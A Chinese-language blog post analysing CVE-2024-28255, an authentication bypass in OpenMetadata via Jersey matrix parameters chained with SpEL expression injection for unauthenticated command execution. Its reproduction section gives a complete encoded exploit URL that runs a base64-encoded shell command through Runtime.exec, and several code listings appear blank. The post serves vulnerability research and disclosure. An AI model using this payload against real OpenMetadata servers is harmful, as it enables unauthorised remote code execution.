比较简单的一个洞,不过我自己也🕊了好久了
0x01 漏洞描述
OpenMetadata是一个统一的发现、可观察和治理平台,由中央元数据存储库、深入的沿袭和无缝团队协作提供支持。 OpenMetadata存在安全漏洞,该漏洞源于当请求的路径包含任何排除的端点时,过滤器将返回而不验证 JWT。
0x02 影响版本
OpenMetaData < 1.2.4
0x03 漏洞分析
debug 很简单,yml 里面加入这个即可
1 | OPENMETADATA_DEBUG: ${OPENMETADATA_DEBUG:-true} |
首先来看后台 RCE 的部分,其实有四个 Utils 类都有问题,这里只挑一个来讲
该漏洞出现在 EventSubscriptionResource.java 中,代码如下:
1 |
|
跟进 validateExpression 方法,一眼 SpEL 表达式注入
1 | public static <T> T validateExpression(String condition, Class<T> clz) { |
接下来看一下前面鉴权绕过的部分
在 OpenMetadata 使用 JwtFilter.java 对 JWT 进行验证,有部分 API 不需要做认证,在 JwtFilter.java 对这部分不需要做认证的 API 进行排除,如下:
1 | public static final List<String> EXCLUDED_ENDPOINTS = |
在 API 进行鉴权时,OpenMetadata 的写法如下:
1 | public void filter(ContainerRequestContext requestContext) { |
这里要怎么进行漏洞利用呢?结合以往最常见的 bypass 手段应该是 /v1/users/login/../../../xxx/xxx
,但是这里的中间件是 Jersey,用 /
是无效的。但是类似;
矩阵参数会进行处理:
在 .class 文件当中,endpoint 没办法追踪变量,反编译看了一下,一下子就看明白了,getPath() 用来获取请求的整个路径。
1 | public void filter(ContainerRequestContext requestContext) { |
uriInfo.getPath() 中包含 JwtFilter 中的白名单列表。看完了路径绕过,我个人对最终实现比较好奇,为什么我发起一个 /api/v1;v1/users/login/events/subscriptions/validation/condition
的请求,最终却能请求到 /v1/events/subscriptions/subscriptions/validation/condition
呢
类似于 Tomcat,在 glassfish/jersey 中有一个 doDispatcher 来做请求的集中处理与分发的责任链机制,对应的路由处理是在 org.glassfish.jersey.server.internal.routing.RoutingStage#apply
方法
对于子资源类型的请求,这里会逐级查找。首先找到前缀匹配的的顶级路由,然后根据顶级路由进行查找。跟进至 org.glassfish.jersey.server.internal.routing.MatchResultInitializerRouter#apply
方法,这里的处理非常玄妙。
1 | rc.pushMatchResult(new SingleMatchResult("/" + processingContext.request().getPath(false))); |
先来看 getPath 的结果
接着跟进 SingleMatchResult
构造函数看是怎么处理的
1 | public SingleMatchResult(String path) { |
继续跟进 stripMatrixParams() 方法
1 | private static String stripMatrixParams(String path) { |
先提取第一次出现 ;
的地方,提取完毕之后,拿到 result1 字符串,再去定位 result1 字符串的第一个 /
,如果不存在则直接 break。否则从第一个 /
出现的地方,开始找第一次出现 ;
的地方。如果没有了,则跳出循环,如果有则继续处理。在我们精心构造过之后的 payload,得到的结果就顺理成章变成了 /v1/events/subscriptions/validation/condition/xxx
从上面开始,拿到了核心路由非常关键。随后的语句把路由表和我们处理之后的核心路由进行比较,拿到一个新的路由表(前面其实就拿到一个路由表了)
回到 org.glassfish.jersey.server.internal.routing.RoutingStage#_appy
方法,进入到迭代器了。迭代器里面会取出所有路由,根据匹配规则进行优先匹配,接着提取出 endpoint
跟进 Routers.extractEndpoint(router)
来看具体的路由处理。router 就是被请求的资源接口,判断当前资源接口是否确认为接口,如果是的话,返回接口所有信息,最终得到的接口如图
非常清晰,非常有趣。最终拿到的这个 endpoint 才是真正的路由资源。而在请求的过程中,由于 filter 还是仅仅处理资源请求,所以产生了这个漏洞,同理其实自己也可以构造类似的 payload,在本文中就不列举了。
0x04 漏洞复现
1 | http://127.0.0.1:8585/api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/%54%28%6a%61%76%61.%6c%61%6e%67.%52%75%6e%74%69%6d%65%29.%67%65%74%52%75%6e%74%69%6d%65%28%29.%65%78%65%63%28%6e%65%77%20%6a%61%76%61.%6c%61%6e%67.%53%74%72%69%6e%67%28%54%28%6a%61%76%61.%75%74%69%6c.%42%61%73%65%36%34%29.%67%65%74%44%65%63%6f%64%65%72%28%29.%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29 |
0x05 Ref
https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata/
- 本文标题:CVE-2024-28255 OpenMetaData 未授权命令执行漏洞分析
- 创建时间:2024-04-26 19:24:18
- 本文链接:2024/04/26/CVE-2024-28255-OpenMetaData-未授权命令执行漏洞分析/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!